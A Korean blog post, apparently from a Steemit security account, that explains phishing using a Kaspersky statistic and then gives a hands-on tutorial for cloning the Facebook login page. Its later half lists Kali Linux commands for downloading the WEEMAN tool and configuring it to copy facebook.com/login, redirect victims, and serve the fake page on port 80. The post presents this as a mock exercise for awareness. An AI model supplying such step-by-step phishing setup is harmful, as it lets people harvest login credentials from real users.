1. SNS 공격1위 “피싱” 스팀잇은 안전할까? - 가짜 페이스북 만들기! (Crate fake facebook log...

안녕하세요!

@secure-kor의 본격적인 첫 글이네요. _{(어깨에 힘빼고)}

가볍게 읽을 수 있는 주제가 뭐가 있을까~? 하다가 정한 오늘의 주제는 바로!!

피싱입니다. ~~낚시죠 낚시.. 여러분들을 낚...~~

엥?ㅋ 그거 나는 안 당하는뎅 바보들만 당하는거 아닌감?

그래서! 실제 피싱 사례들을 보고 직접 모의상황을 구성해보겠습니다.

출발~!

^{(그림1)▲합성어 피싱(Phishing)의 정의}

사실 피싱은 전통있는 공격입니다. 우표를 붙여 편지를 보내던 시절부터
2018년 블록체인시대까지 꾸준히 이어지는 공격이니까요.

^{(그림2)▲ 카스퍼스키랩, '2018년 1분기 스팸·피싱 보고서’ 발간 [이미지=보안뉴스 오다인기자](http://www.boannews.com/media/view.asp?idx=70095)}

^{(그림3)▲페이스북 로그인 화면을 복제한 피싱 페이지 사례[이미지=카스퍼스키랩 블로그]}

"카스퍼스키랩(Kaspersky Lab)의 ‘2018년 1분기 스팸·피싱 보고서’에 따르면, 총 370만 건의 소셜 네트워크 서비스(SNS) 피싱 시도 가운데 60%가 가짜 페이스북 페이지였던 것으로 나타났다."
라고 보고서를 냈습니다. 카스퍼스키회사에서 수집한 정보만 370만건이니.. 엄청 핫 하죠!?

여러 SNS중에 왜 페이스북이냐! 라고 한다면,
해커는 이용자가 많은 페이스북으로 몰리는게 인지상정!

그래서 지금부터 가짜 페이스북 로그인 사이트를 만들어 보겠습니다!

^{(그림4)▲kali liunx 부팅}

1. 서버역할을 해줄 가상머신에 kali linux를 준비합니다.

^{(그림5)▲WEEMAN 깃허브}

2. 사이트 복제를 위한 도구로 WEEMAN을 사용합니다.
   github에 누구에게나 공개되어있습니다. [https://github.com/samyoyo/weeman]

   우리가 이용하는 스팀, 스팀잇도 깃허브에 오픈소스로 공개되어있습니다.
   비트코인과같은 다른 블록체인 암호화폐들도 마찬가지입니다.
   ^{[스팀](https://github.com/steemit/steem)   [비트코인](https://github.com/bitcoin/bitcoin)}

^{(그림6)▲running weeman demon}

3. 커맨드라인에서 아래와 같이 입력합니다.

  root@kali:~# git clone https://github.com/samyoyo/weeman
  'weeman'에 복제합니다...
  remote: Counting objects: 61, done.
  remote: Total 61 (delta 0), reused 0 (delta 0), pack-reused 61
  오브젝트 묶음 푸는 중: 100% (61/61), 완료.
  root@kali:~# cd /root/weeman/
  root@kali:~/weeman# ./weeman.py

^{(그림7)▲weeman configuration settings}

4. 데몬이 실행되면 아래와 같이 설정하고 데몬을 실행합니다.

    (weeman ) : set url https://www.facebook.com/login #복제할 페이지 주소값
    (weeman ) : set action_url https://www.facebook.com/ #로그인 후 Redirect할 주소값
    (weeman ) : set port 80 #피싱서버포트
    (weeman ) : show #현재 설정된 값을들 보여줌
    -----------------------------------------
    url        : https://www.facebook.com/login 
    port       : 80 
    action_url : https://www.facebook.com/ 
    user_agent : Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
                                   Chrome/41.0.2227.0 Safari/537.36 
    -----------------------------------------
   (weeman ) : run #데몬 시작(사이트 복제 및 서버가동)